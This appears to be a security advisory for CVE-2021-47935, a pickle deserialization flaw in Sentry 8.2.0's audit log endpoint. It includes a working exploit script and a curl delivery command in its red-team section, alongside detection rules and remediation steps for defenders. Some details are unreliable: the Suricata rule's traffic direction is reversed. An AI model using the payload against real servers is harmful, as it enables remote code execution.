CVE-2021-47935

Executive Summary

CVE-2021-47935 is a critical remote code execution (RCE) vulnerability in Sentry 8.2.0 that allows authenticated superusers to execute arbitrary commands on the application server. The flaw resides in the audit log entry data parameter, where malicious pickle-serialized objects can be injected. An attacker with superuser privileges can craft a POST request to the admin audit log endpoint, embedding a base64-encoded compressed pickle payload in the data field. Upon deserialization, the pickle payload executes arbitrary code with the privileges of the Sentry application. The vulnerability has a CVSS score of 8.8 (High) and is currently unpatched. No public exploit code or nuclei template is available, but the attack vector is well-documented.

Supply Chain & Package Security

Sentry is a Python-based application. The vulnerability involves Python's pickle module, which is inherently unsafe for deserializing untrusted data. This highlights a critical supply chain risk: any Python package that uses pickle for serialization without proper validation can be exploited. Organizations using Sentry 8.2.0 should immediately assess their exposure and consider upgrading to a patched version or implementing strict access controls.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): High (H) – The attacker must be an authenticated superuser.
• User Interaction (UI): None (N) – No user interaction is needed.
• Scope (S): Unchanged (U) – The vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Arbitrary code execution.
• Availability (A): High (H) – Potential denial of service or system takeover.

Threat Level: High. Although superuser privileges are required, the impact is severe, allowing complete server compromise.

Deep Dive & Mechanics

The vulnerability is a classic insecure deserialization flaw in Python's pickle module. Sentry 8.2.0 uses pickle.loads() to deserialize the data field of audit log entries without sanitization. An attacker can craft a malicious pickle payload that, when deserialized, executes arbitrary Python code.

Attack Flow:

1. Attacker authenticates as a superuser.
2. Attacker crafts a malicious pickle payload that executes a system command (e.g., reverse shell).
3. The payload is base64-encoded and compressed (e.g., using zlib).
4. Attacker sends a POST request to /admin/auditlog/entry/ with the payload in the data field.
5. Sentry deserializes the payload using pickle.loads(), triggering code execution.

Root Cause: The data parameter is not validated or sanitized before deserialization. The use of pickle for untrusted data is inherently dangerous.

Vulnerable vs. Patched Code

Vulnerable Code (Sentry 8.2.0):

# In the audit log entry handler
import pickle
import base64
import zlib

def create_audit_entry(request):
    data = request.POST.get('data')
    if data:
        decoded = base64.b64decode(data)
        decompressed = zlib.decompress(decoded)
        obj = pickle.loads(decompressed)  # Vulnerable
        # ... process obj

Patched Code (Hypothetical):

# Use a safe serialization format like JSON
import json
import base64
import zlib

def create_audit_entry(request):
    data = request.POST.get('data')
    if data:
        decoded = base64.b64decode(data)
        decompressed = zlib.decompress(decoded)
        obj = json.loads(decompressed)  # Safe
        # ... process obj

Key Difference: The patched version replaces pickle.loads() with json.loads(), which does not allow arbitrary code execution.

Exploitation & Lab Setup

Red Team

Lab Setup:

• Install Sentry 8.2.0 on a test server.
• Create a superuser account.
• Use the following Python script to generate a malicious payload:

import pickle
import base64
import zlib
import os

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('id > /tmp/pwned',))

payload = pickle.dumps(Exploit())
compressed = zlib.compress(payload)
encoded = base64.b64encode(compressed).decode()
print(encoded)

Exploit Execution:

# Send the payload via curl
curl -X POST http://target/admin/auditlog/entry/ \
  -H "Cookie: sessionid=YOUR_SESSION" \
  -d "data=ENCODED_PAYLOAD"

Expected Result: The command id > /tmp/pwned executes, creating a file /tmp/pwned with the output.

Blue Team

Detection:

• Monitor for POST requests to /admin/auditlog/entry/ with unusually large data fields.
• Look for base64-encoded strings that decode to compressed pickle data (magic bytes \x80\x04 for pickle protocol 4).
• Use the YARA and Sigma rules below.

Mitigation:

• Restrict access to the admin audit log endpoint to only trusted IPs.
• Implement input validation to reject non-JSON data.
• Apply the principle of least privilege; limit superuser accounts.

Indicators of Compromise (IOCs)

• Network: POST requests to /admin/auditlog/entry/ with data parameter containing base64-encoded zlib-compressed pickle payloads.
• File System: Unexpected files in /tmp/ or other writable directories (e.g., /tmp/pwned).
• Process: Unusual child processes spawned by the Sentry application (e.g., id, bash, nc).
• Logs: Audit log entries with data fields that decode to non-JSON objects.

Detection Engineering

YARA Rule

rule sentry_pickle_rce {
    meta:
        description = "Detects malicious pickle payloads in Sentry audit log data"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-47935"
    strings:
        $pickle_magic = { 80 [1-4] 0A }  // Pickle protocol magic bytes
        $zlib_magic = { 78 9C }          // zlib compressed data
        $base64_chars = /[A-Za-z0-9+\/=]{50,}/
    condition:
        $pickle_magic and $zlib_magic and $base64_chars
}

Sigma Rule

title: Sentry Pickle RCE via Audit Log
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation of CVE-2021-47935 in Sentry
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: sentry
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/auditlog/entry/'
        cs-uri-query|contains: 'data='
    condition: selection
falsepositives:
    - Legitimate admin actions with large data
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2021-47935 Sentry Pickle RCE Attempt";
    flow:to_server;
    http.method; content:"POST";
    http.uri; content:"/admin/auditlog/entry/";
    http.client_body; content:"data="; pcre:"/data=[A-Za-z0-9+\/=]{100,}/";
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate: Disable the audit log endpoint or restrict access to superusers only.
2. Short-term: Implement input validation to reject non-JSON data in the data field.
3. Long-term: Upgrade to a patched version of Sentry (if available) or apply a custom patch to replace pickle.loads() with json.loads().
4. Compensating Controls: Use a Web Application Firewall (WAF) to block requests with base64-encoded payloads to the audit log endpoint.
5. Monitoring: Enable logging and alerting for all POST requests to /admin/auditlog/entry/.

Valters IT